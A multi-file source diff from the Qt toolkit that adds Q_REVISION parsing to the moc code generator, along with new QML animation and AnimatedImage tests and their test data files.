--- a/src/tools/moc/generator.h
+++ b/src/tools/moc/generator.h
@@ -58,6 +58,7 @@ public:
 private:
     void generateClassInfos();
     void generateFunctions(QList<FunctionDef> &list, const char *functype, int type);
+    void generateFunctionRevisions(QList<FunctionDef>& list, const char *functype);
     void generateEnums(int index);
     void generateProperties();
     void generateMetacall();
diff --git a/src/tools/moc/keywords.cpp b/src/tools/moc/keywords.cpp
index 0eca110..9a8aa41 100644
--- a/src/tools/moc/keywords.cpp
+++ b/src/tools/moc/keywords.cpp
@@ -43,12 +43,12 @@
 // DO NOT EDIT.
 
 static const short keyword_trans[][128] = {
-    {0,0,0,0,0,0,0,0,0,533,530,0,0,0,0,0,
+    {0,0,0,0,0,0,0,0,0,541,538,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-     533,252,531,534,0,38,239,532,25,26,236,234,30,235,27,237,
+     541,252,539,542,0,38,239,540,25,26,236,234,30,235,27,237,
      22,22,22,22,22,22,22,22,22,22,34,41,23,39,24,43,
      0,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
-     8,21,8,8,8,8,8,8,8,8,8,31,535,32,238,8,
+     8,21,8,8,8,8,8,8,8,8,8,31,543,32,238,8,
      0,1,2,3,4,5,6,7,8,9,8,8,10,11,12,13,
      14,8,15,16,17,18,19,20,8,8,8,36,245,37,248,0},
     {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -190,7 +190,7 @@ static const short keyword_trans[][128] = {
     {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,42,0,0,0,28,0,
-     538,538,538,538,538,538,538,538,538,538,0,0,0,0,0,0,
+     546,546,546,546,546,546,546,546,546,546,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -349,7 +349,7 @@ static const short keyword_trans[][128] = {
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
     {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
-     0,0,0,0,0,0,0,0,0,0,537,0,0,0,0,536,
+     0,0,0,0,0,0,0,0,0,0,545,0,0,0,0,544,
      0,0,0,0,0,0,0,0,0,0,0,0,0,258,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -392,7 +392,7 @@ static const short keyword_trans[][128] = {
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,439,388,378,383,364,0,448,0,0,0,0,0,358,
-     370,0,0,436,0,0,0,0,0,0,0,0,0,0,0,0,
+     370,0,530,436,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
      0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
     {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -983,6 +983,14 @@ static const struct
     {CHARACTER, 0, 84, 528, CHARACTER},
     {CHARACTER, 0, 89, 529, CHARACTER},
     {Q_PRIVATE_PROPERTY_TOKEN, 0, 0, 0, CHARACTER},
+    {CHARACTER, 0, 69, 531, CHARACTER},
+    {CHARACTER, 0, 86, 532, CHARACTER},
+    {CHARACTER, 0, 73, 533, CHARACTER},
+    {CHARACTER, 0, 83, 534, CHARACTER},
+    {CHARACTER, 0, 73, 535, CHARACTER},
+    {CHARACTER, 0, 79, 536, CHARACTER},
+    {CHARACTER, 0, 78, 537, CHARACTER},
+    {Q_REVISION_TOKEN, 0, 0, 0, CHARACTER},
     {NEWLINE, 0, 0, 0, NOTOKEN},
     {QUOTE, 0, 0, 0, NOTOKEN},
     {SINGLEQUOTE, 0, 0, 0, NOTOKEN},
diff --git a/src/tools/moc/moc.cpp b/src/tools/moc/moc.cpp
index f72bdf5..74b1ace 100644
--- a/src/tools/moc/moc.cpp
+++ b/src/tools/moc/moc.cpp
@@ -335,6 +335,23 @@ bool Moc::testFunctionAttribute(Token tok, FunctionDef *def)
     return false;
 }
 
+bool Moc::testFunctionRevision(FunctionDef *def)
+{
+    if (test(Q_REVISION_TOKEN)) {
+        next(LPAREN);
+        QByteArray revision = lexemUntil(RPAREN);
+        revision.remove(0, 1);
+        revision.chop(1);
+        bool ok = false;
+        def->revision = revision.toInt(&ok);
+        if (!ok || def->revision < 0)
+            error("Invalid revision");
+        return true;
+    }
+
+    return false;
+}
+
 // returns false if the function should be ignored
 bool Moc::parseFunction(FunctionDef *def, bool inMacro)
 {
@@ -342,7 +359,7 @@ bool Moc::parseFunction(FunctionDef *def, bool inMacro)
     //skip modifiers and attributes
     while (test(INLINE) || test(STATIC) ||
         (test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual
-        || testFunctionAttribute(def)) {}
+        || testFunctionAttribute(def) || testFunctionRevision(def)) {}
     bool templateFunction = (lookup() == TEMPLATE);
     def->type = parseType();
     if (def->type.name.isEmpty()) {
@@ -433,7 +450,7 @@ bool Moc::parseMaybeFunction(const ClassDef *cdef, FunctionDef *def)
     //skip modifiers and attributes
     while (test(EXPLICIT) || test(INLINE) || test(STATIC) ||
         (test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual
-        || testFunctionAttribute(def)) {}
+        || testFunctionAttribute(def) || testFunctionRevision(def)) {}
     bool tilde = test(TILDE);
     def->type = parseType();
     if (def->type.name.isEmpty())
@@ -668,10 +685,13 @@ void Moc::parse()
                     if (parseEnum(&enumDef))
                         def.enumList += enumDef;
                 } break;
+                case SEMIC:
+                case COLON:
+                    break;
                 default:
                     FunctionDef funcDef;
                     funcDef.access = access;
-                    int rewind = index;
+                    int rewind = index--;
                     if (parseMaybeFunction(&def, &funcDef)) {
                         if (funcDef.isConstructor) {
                             if ((access == FunctionDef::Public) && funcDef.isInvokable) {
@@ -694,6 +714,8 @@ void Moc::parse()
                                     funcDef.arguments.removeLast();
                                     def.slotList += funcDef;
                                 }
+                                if (funcDef.revision > 0)
+                                    ++def.revisionedMethods;
                             } else if (funcDef.isSignal) {
                                 def.signalList += funcDef;
                                 while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
@@ -701,6 +723,8 @@ void Moc::parse()
                                     funcDef.arguments.removeLast();
                                     def.signalList += funcDef;
                                 }
+                                if (funcDef.revision > 0)
+                                    ++def.revisionedMethods;
                             } else if (funcDef.isInvokable) {
                                 def.methodList += funcDef;
                                 while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
@@ -708,6 +732,8 @@ void Moc::parse()
                                     funcDef.arguments.removeLast();
                                     def.methodList += funcDef;
                                 }
+                                if (funcDef.revision > 0)
+                                    ++def.revisionedMethods;
                             }
                         }
                     } else {
@@ -806,6 +832,18 @@ QList<QMetaObject*> Moc::generate(bool ignoreProperties)
 
 void Moc::parseSlots(ClassDef *def, FunctionDef::Access access)
 {
+    int defaultRevision = -1;
+    if (test(Q_REVISION_TOKEN)) {
+        next(LPAREN);
+        QByteArray revision = lexemUntil(RPAREN);
+        revision.remove(0, 1);
+        revision.chop(1);
+        bool ok = false;
+        defaultRevision = revision.toInt(&ok);
+        if (!ok || defaultRevision < 0)
+            error("Invalid revision");
+    }
+
     next(COLON);
     while (inClass(def) && hasNext()) {
         switch (next()) {
@@ -831,6 +869,12 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access)
         funcDef.access = access;
         if (!parseFunction(&funcDef))
             continue;
+        if (funcDef.revision > 0) {
+            ++def->revisionedMethods;
+        } else if (defaultRevision != -1) {
+            funcDef.revision = defaultRevision;
+            ++def->revisionedMethods;
+        }
         def->slotList += funcDef;
         while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
             funcDef.wasCloned = true;
@@ -842,6 +886,18 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access)
 
 void Moc::parseSignals(ClassDef *def)
 {
+    int defaultRevision = -1;
+    if (test(Q_REVISION_TOKEN)) {
+        next(LPAREN);
+        QByteArray revision = lexemUntil(RPAREN);
+        revision.remove(0, 1);
+        revision.chop(1);
+        bool ok = false;
+        defaultRevision = revision.toInt(&ok);
+        if (!ok || defaultRevision < 0)
+            error("Invalid revision");
+    }
+
     next(COLON);
     while (inClass(def) && hasNext()) {
         switch (next()) {
@@ -869,6 +925,12 @@ void Moc::parseSignals(ClassDef *def)
             warning("Signals cannot be declared virtual");
         if (funcDef.inlineCode)
             error("Not a signal declaration");
+        if (funcDef.revision > 0) {
+            ++def->revisionedMethods;
+        } else if (defaultRevision != -1) {
+            funcDef.revision = defaultRevision;
+            ++def->revisionedMethods;
+        }
         def->signalList += funcDef;
         while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
             funcDef.wasCloned = true;
@@ -911,7 +973,6 @@ void Moc::createPropertyDef(PropertyDef &propDef)
     propDef.name = lexem();
     while (test(IDENTIFIER)) {
         QByteArray l = lexem();
-
         if (l[0] == 'C' && l == "CONSTANT") {
             propDef.constant = true;
             continue;
@@ -923,6 +984,10 @@ void Moc::createPropertyDef(PropertyDef &propDef)
         QByteArray v, v2;
         if (test(LPAREN)) {
             v = lexemUntil(RPAREN);
+        } else if (test(INTEGER_LITERAL)) {
+            v = lexem();
+            if (l != "REVISION")
+                error(1);
         } else {
             next(IDENTIFIER);
             v = lexem();
@@ -937,7 +1002,12 @@ void Moc::createPropertyDef(PropertyDef &propDef)
                 propDef.read = v;
             else if (l == "RESET")
                 propDef.reset = v + v2;
-            else
+            else if (l == "REVISION") {
+                bool ok = false;
+                propDef.revision = v.toInt(&ok);
+                if (!ok || propDef.revision < 0)
+                    error(1);
+            } else
                 error(2);
             break;
         case 'S':
@@ -1002,6 +1072,8 @@ void Moc::parseProperty(ClassDef *def)
 
     if(!propDef.notify.isEmpty())
         def->notifyableProperties++;
+    if (propDef.revision > 0)
+        ++def->revisionedProperties;
     def->propertyList += propDef;
 }
 
@@ -1028,6 +1100,8 @@ void Moc::parsePrivateProperty(ClassDef *def)
 
     if(!propDef.notify.isEmpty())
         def->notifyableProperties++;
+    if (propDef.revision > 0)
+        ++def->revisionedProperties;
 
     def->propertyList += propDef;
 }
@@ -1177,6 +1251,9 @@ void Moc::parseSlotInPrivate(ClassDef *def, FunctionDef::Access access)
         funcDef.arguments.removeLast();
         def->slotList += funcDef;
     }
+    if (funcDef.revision > 0)
+        ++def->revisionedMethods;
+
 }
 
 QByteArray Moc::lexemUntil(Token target)
diff --git a/src/tools/moc/moc.h b/src/tools/moc/moc.h
index 9543a05..38c3917 100644
--- a/src/tools/moc/moc.h
+++ b/src/tools/moc/moc.h
@@ -86,7 +86,7 @@ struct FunctionDef
     FunctionDef(): returnTypeIsVolatile(false), access(Private), isConst(false), isVirtual(false),
                    inlineCode(false), wasCloned(false), isCompat(false), isInvokable(false),
                    isScriptable(false), isSlot(false), isSignal(false),
-                   isConstructor(false), isDestructor(false), isAbstract(false) {}
+                   isConstructor(false), isDestructor(false), isAbstract(false), revision(0) {}
     Type type;
     QByteArray normalizedType;
     QByteArray tag;
@@ -111,11 +111,13 @@ struct FunctionDef
     bool isConstructor;
     bool isDestructor;
     bool isAbstract;
+
+    int revision;
 };
 
 struct PropertyDef
 {
-    PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec){}
+    PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec), revision(0){}
     QByteArray name, type, read, write, reset, designable, scriptable, editable, stored, user, notify, inPrivateClass;
     int notifyId;
     bool constant;
@@ -128,6 +130,7 @@ struct PropertyDef
         s += name.mid(1);
         return (s == write);
     }
+    int revision;
 };
 
 
@@ -139,7 +142,8 @@ struct ClassInfoDef
 
 struct ClassDef {
     ClassDef():
-        hasQObject(false), hasQGadget(false), notifyableProperties(0), begin(0), end(0){}
+        hasQObject(false), hasQGadget(false), notifyableProperties(0)
+        , revisionedMethods(0), revisionedProperties(0), begin(0), end(0){}
     QByteArray classname;
     QByteArray qualified;
     QList<QPair<QByteArray, FunctionDef::Access> > superclassList;
@@ -164,6 +168,8 @@ struct ClassDef {
     QMap<QByteArray, bool> enumDeclarations;
     QList<EnumDef> enumList;
     QMap<QByteArray, QByteArray> flagAliases;
+    int revisionedMethods;
+    int revisionedProperties;
 
     int begin;
     int end;
@@ -236,6 +242,7 @@ public:
     // in FunctionDef accordingly
     bool testFunctionAttribute(FunctionDef *def);
     bool testFunctionAttribute(Token tok, FunctionDef *def);
+    bool testFunctionRevision(FunctionDef *def);
 
     void checkSuperClasses(ClassDef *def);
     void checkProperties(ClassDef* cdef);
diff --git a/src/tools/moc/token.cpp b/src/tools/moc/token.cpp
index 733a17e..9d07c48 100644
--- a/src/tools/moc/token.cpp
+++ b/src/tools/moc/token.cpp
@@ -180,6 +180,7 @@ const char *tokenTypeName(Token t)
         case Q_SLOT_TOKEN: return "Q_SLOT_TOKEN";
         case Q_PRIVATE_SLOT_TOKEN: return "Q_PRIVATE_SLOT_TOKEN";
         case Q_PRIVATE_PROPERTY_TOKEN: return "Q_PRIVATE_PROPERTY_TOKEN";
+        case Q_REVISION_TOKEN: return "Q_REVISION_TOKEN";
         case SPECIAL_TREATMENT_MARK: return "SPECIAL_TREATMENT_MARK";
         case MOC_INCLUDE_BEGIN: return "MOC_INCLUDE_BEGIN";
         case MOC_INCLUDE_END: return "MOC_INCLUDE_END";
diff --git a/src/tools/moc/token.h b/src/tools/moc/token.h
index edbb567..95f17c2 100644
--- a/src/tools/moc/token.h
+++ b/src/tools/moc/token.h
@@ -186,6 +186,7 @@ enum Token {
     Q_INVOKABLE_TOKEN,
     Q_SCRIPTABLE_TOKEN,
     Q_PRIVATE_PROPERTY_TOKEN,
+    Q_REVISION_TOKEN,
     Q_META_TOKEN_END,
     SPECIAL_TREATMENT_MARK = Q_META_TOKEN_END,
     MOC_INCLUDE_BEGIN,
diff --git a/src/tools/moc/util/generate_keywords.cpp b/src/tools/moc/util/generate_keywords.cpp
index 777bf3f..26f7a19 100644
--- a/src/tools/moc/util/generate_keywords.cpp
+++ b/src/tools/moc/util/generate_keywords.cpp
@@ -249,6 +249,7 @@ static const Keyword keywords[] = {
     { "Q_SLOT", "Q_SLOT_TOKEN" },
     { "Q_SCRIPTABLE", "Q_SCRIPTABLE_TOKEN" },
     { "Q_PRIVATE_PROPERTY", "Q_PRIVATE_PROPERTY_TOKEN" },
+    { "Q_REVISION", "Q_REVISION_TOKEN" },
     { "\n", "NEWLINE" },
     { "\"", "QUOTE" },
     { "\'", "SINGLEQUOTE" },
diff --git a/tests/auto/auto.pro b/tests/auto/auto.pro
index c0004f7..c677249 100644
--- a/tests/auto/auto.pro
+++ b/tests/auto/auto.pro
@@ -19,4 +19,5 @@ contains(QT_CONFIG, multimedia):            SUBDIRS += multimedia.pro
 contains(QT_CONFIG, phonon):                SUBDIRS += phonon.pro
 contains(QT_CONFIG, svg):                   SUBDIRS += svg.pro
 contains(QT_CONFIG, declarative):           SUBDIRS += declarative.pro
+!symbian                                    SUBDIRS += help.pro
 
diff --git a/tests/auto/bic/tst_bic.cpp b/tests/auto/bic/tst_bic.cpp
index fcf6deb..9ef2be1 100644
--- a/tests/auto/bic/tst_bic.cpp
+++ b/tests/auto/bic/tst_bic.cpp
@@ -135,6 +135,9 @@ tst_Bic::tst_Bic()
 
     /* This structure is semi-private and should never shrink */
     bic.addBlacklistedClass(QLatin1String("QVFbHeader"));
+
+    /* This structure has a version field that allows extension */
+    bic.addBlacklistedClass(QLatin1String("QDeclarativePrivate::RegisterType"));
 }
 
 void tst_Bic::initTestCase_data()
diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro
index 499c155..08f0b9e 100644
--- a/tests/auto/declarative/declarative.pro
+++ b/tests/auto/declarative/declarative.pro
@@ -31,6 +31,7 @@ contains(QT_CONFIG, private_tests) {
            qdeclarativeanchors \
            qdeclarativeanimatedimage \
            qdeclarativeanimations \
+           qdeclarativeapplication \
            qdeclarativebehaviors \
            qdeclarativebinding \
            qdeclarativeborderimage \
@@ -55,6 +56,7 @@ contains(QT_CONFIG, private_tests) {
            qdeclarativeloader \
            qdeclarativemousearea \
            qdeclarativepathview \
+           qdeclarativepincharea \
            qdeclarativepositioners \
            qdeclarativeproperty \
            qdeclarativepropertymap \
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif
new file mode 100644
index 0000000..cfb55f2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml
new file mode 100644
index 0000000..8729dd2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+AnimatedImage {
+    source: "hearts.gif"
+    playing: false
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml
new file mode 100644
index 0000000..cf5b601
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+Rectangle {
+    width: 500
+    height: 500
+
+    AnimatedImage {
+        objectName: "anim"
+        anchors.centerIn: parent
+        asynchronous: true
+        opacity: status == AnimatedImage.Ready ? 1 : 0
+
+        Behavior on opacity {
+            NumberAnimation { duration: 1000 }
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
index 1790e92..104ee15 100644
--- a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
@@ -45,6 +45,7 @@
 #include <private/qdeclarativerectangle_p.h>
 #include <private/qdeclarativeimage_p.h>
 #include <private/qdeclarativeanimatedimage_p.h>
+#include <QSignalSpy>
 
 #include "../shared/testhttpserver.h"
 #include "../../../shared/util.h"
@@ -66,13 +67,29 @@ private slots:
     void stopped();
     void setFrame();
     void frameCount();
+    void mirror_running();
+    void mirror_notRunning();
+    void mirror_notRunning_data();
     void remote();
     void remote_data();
     void sourceSize();
     void sourceSizeReadOnly();
     void invalidSource();
+    void qtbug_16520();
+
+private:
+    QPixmap grabScene(QGraphicsScene *scene, int width, int height);
 };
 
+QPixmap tst_qdeclarativeanimatedimage::grabScene(QGraphicsScene *scene, int width, int height)
+{
+    QPixmap screenshot(width, height);
+    screenshot.fill();
+    QPainter p_screenshot(&screenshot);
+    scene->render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+    return screenshot;
+}
+
 void tst_qdeclarativeanimatedimage::play()
 {
     QDeclarativeEngine engine;
@@ -132,6 +149,93 @@ void tst_qdeclarativeanimatedimage::frameCount()
     delete anim;
 }
 
+void tst_qdeclarativeanimatedimage::mirror_running()
+{
+    // test where mirror is set to true after animation has started
+
+    QDeclarativeEngine engine;
+    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/hearts.qml"));
+    QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+    QVERIFY(anim);
+
+    QGraphicsScene scene;
+    int width = anim->property("width").toInt();
+    int height = anim->property("height").toInt();
+    scene.addItem(qobject_cast<QGraphicsObject *>(anim));
+
+    QCOMPARE(anim->currentFrame(), 0);
+    QPixmap frame0 = grabScene(&scene, width, height);
+    anim->setCurrentFrame(1);
+    QPixmap frame1 = grabScene(&scene, width, height);
+
+    anim->setCurrentFrame(0);
+
+    QSignalSpy spy(anim, SIGNAL(frameChanged()));
+    anim->setPlaying(true);
+
+    QTRY_VERIFY(spy.count() == 1); spy.clear();
+    anim->setProperty("mirror", true);
+
+    QCOMPARE(anim->currentFrame(), 1);
+    QPixmap frame1_flipped = grabScene(&scene, width, height);
+
+    QTRY_VERIFY(spy.count() == 1); spy.clear();
+    QCOMPARE(anim->currentFrame(), 0);  // animation only has 2 frames, should cycle back to first
+    QPixmap frame0_flipped = grabScene(&scene, width, height);
+
+    QTransform transform;
+    transform.translate(width, 0).scale(-1, 1.0);
+    QPixmap frame0_expected = frame0.transformed(transform);
+    QPixmap frame1_expected = frame1.transformed(transform);
+
+    QCOMPARE(frame0_flipped, frame0_expected);
+    QCOMPARE(frame1_flipped, frame1_expected);
+}
+
+void tst_qdeclarativeanimatedimage::mirror_notRunning()
+{
+    QFETCH(QUrl, fileUrl);
+
+    QDeclarativeEngine engine;
+    QDeclarativeComponent component(&engine, fileUrl);
+    QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+    QVERIFY(anim);
+
+    QGraphicsScene scene;
+    int width = anim->property("width").toInt();
+    int height = anim->property("height").toInt();
+    scene.addItem(qobject_cast<QGraphicsObject *>(anim));
+    QPixmap screenshot = grabScene(&scene, width, height);
+
+    QTransform transform;
+    transform.translate(width, 0).scale(-1, 1.0);
+    QPixmap expected = screenshot.transformed(transform);
+
+    int frame = anim->currentFrame();
+    bool playing = anim->isPlaying();
+    bool paused = anim->isPlaying();
+
+    anim->setProperty("mirror", true);
+    screenshot = grabScene(&scene, width, height);
+
+    QCOMPARE(screenshot, expected);
+
+    // mirroring should not change the current frame or playing status
+    QCOMPARE(anim->currentFrame(), frame);
+    QCOMPARE(anim->isPlaying(), playing);
+    QCOMPARE(anim->isPaused(), paused);
+
+    delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::mirror_notRunning_data()
+{
+    QTest::addColumn<QUrl>("fileUrl");
+
+    QTest::newRow("paused") << QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml");
+    QTest::newRow("stopped") << QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml");
+}
+
 void tst_qdeclarativeanimatedimage::remote()
 {
     QFETCH(QString, fileName);
@@ -204,6 +308,29 @@ void tst_qdeclarativeanimatedimage::invalidSource()
     QVERIFY(!anim->isPaused());
     QCOMPARE(anim->currentFrame(), 0);
     QCOMPARE(anim->frameCount(), 0);
+    QTRY_VERIFY(anim->status() == 3);
+}
+
+void tst_qdeclarativeanimatedimage::qtbug_16520()
+{
+    TestHTTPServer server(14449);
+    QVERIFY(server.isValid());
+    server.serveDirectory(SRCDIR "/data");
+
+    QDeclarativeEngine engine;
+    QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug-16520.qml"));
+    QTRY_VERIFY(component.isReady());
+
+    QDeclarativeRectangle *root = qobject_cast<QDeclarativeRectangle *>(component.create());
+    QVERIFY(root);
+    QDeclarativeAnimatedImage *anim = root->findChild<QDeclarativeAnimatedImage*>("anim");
+
+    anim->setProperty("source", "http://127.0.0.1:14449/stickman.gif");
+
+    QTRY_VERIFY(anim->opacity() == 0);
+    QTRY_VERIFY(anim->opacity() == 1);
+
+    delete anim;
 }
 
 QTEST_MAIN(tst_qdeclarativeanimatedimage)
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/Double.qml b/tests/auto/declarative/qdeclarativeanimations/data/Double.qml
new file mode 100644
index 0000000..b247fce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/Double.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+    id: container
+    property bool on: false
+    border.color: "#ffffff"
+    color: "green"
+    width: 50
+    height: 50
+    NumberAnimation on x {
+        objectName: "animation"
+        running: container.on; from: 0; to: 600; loops: Animation.Infinite; duration: 2000
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml
new file mode 100644
index 0000000..f0fdf9c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Rectangle {
+    width: 400; height: 400
+
+    Double { id: dub; on: parent.width < 800 }
+    Component.onCompleted: dub.on = false
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml
new file mode 100644
index 0000000..7dc29f9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+    id: rect
+    width: 200
+    height: 200
+
+    property bool animating: true
+    property int value: 0
+
+    NumberAnimation {
+        target: rect
+        property: "value"
+        running: rect.animating
+        to: 100
+        duration: 50
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
index 6f71dec..e2a54c0 100644
--- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
+++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
@@ -85,6 +85,9 @@ private slots:
     void rotation();
     void runningTrueBug();
     void nonTransitionBug();
+    void registrationBug();
+    void doubleRegistrationBug();
+    void alwaysRunToEndRestartBug();
 };
 
 #define QTIMED_COMPARE(lhs, rhs) do { \
@@ -793,6 +796,54 @@ void tst_qdeclarativeanimations::nonTransitionBug()
     QCOMPARE(mover->x(), qreal(100));
 }
 
+//QTBUG-14042
+void tst_qdeclarativeanimations::registrationBug()
+{
+    QDeclarativeEngine engine;
+
+    QDeclarativeComponent c(&engine, SRCDIR "/data/registrationBug.qml");
+    QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+    QVERIFY(rect != 0);
+    QTRY_COMPARE(rect->property("value"), QVariant(int(100)));
+}
+
+void tst_qdeclarativeanimations::doubleRegistrationBug()
+{
+    QDeclarativeEngine engine;
+
+    QDeclarativeComponent c(&engine, SRCDIR "/data/doubleRegistrationBug.qml");
+    QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+    QVERIFY(rect != 0);
+
+    QDeclarativeAbstractAnimation *anim = rect->findChild<QDeclarativeAbstractAnimation*>("animation");
+    QVERIFY(anim != 0);
+    QTRY_COMPARE(anim->qtAnimation()->state(), QAbstractAnimation::Stopped);
+}
+
+//QTBUG-16736
+void tst_qdeclarativeanimations::alwaysRunToEndRestartBug()
+{
+    QDeclarativeRectangle rect;
+    QDeclarativePropertyAnimation animation;
+    animation.setTarget(&rect);
+    animation.setProperty("x");
+    animation.setTo(200);
+    animation.setDuration(1000);
+    animation.setLoops(-1);
+    animation.setAlwaysRunToEnd(true);
+    QVERIFY(animation.loops() == -1);
+    QVERIFY(animation.alwaysRunToEnd() == true);
+    animation.start();
+    animation.stop();
+    animation.start();
+    animation.stop();
+    QTest::qWait(500);
+    QVERIFY(rect.x() != qreal(200));
+    QTest::qWait(800);
+    QTIMED_COMPARE(rect.x(), qreal(200));
+    QCOMPARE(static_cast<QDeclarativeAbstractAnimation*>(&animation)->qtAnimation()->state(), QAbstractAnimation::Stopped);
+}
+
 QTEST_MAIN(tst_qdeclarativeanimations)
 
 #include "tst_qdeclarativeanimations.moc"
diff --git a/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro
new file mode 100644
index 0000000..91e5468
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro
@@ -0,0 +1,5 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeapplication.cpp
diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
new file mode 100644
index 0000000..64f327b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
@@ -0,0 +1,123 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include "../../../shared/util.h"
